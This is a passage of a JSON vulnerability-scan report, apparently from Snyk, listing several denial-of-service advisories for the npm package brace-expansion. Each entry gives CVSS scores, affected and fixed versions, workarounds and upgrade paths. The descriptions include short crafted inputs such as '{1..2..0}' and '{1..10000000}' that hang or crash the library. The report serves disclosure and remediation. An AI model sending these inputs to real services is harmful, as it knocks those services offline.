"https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" 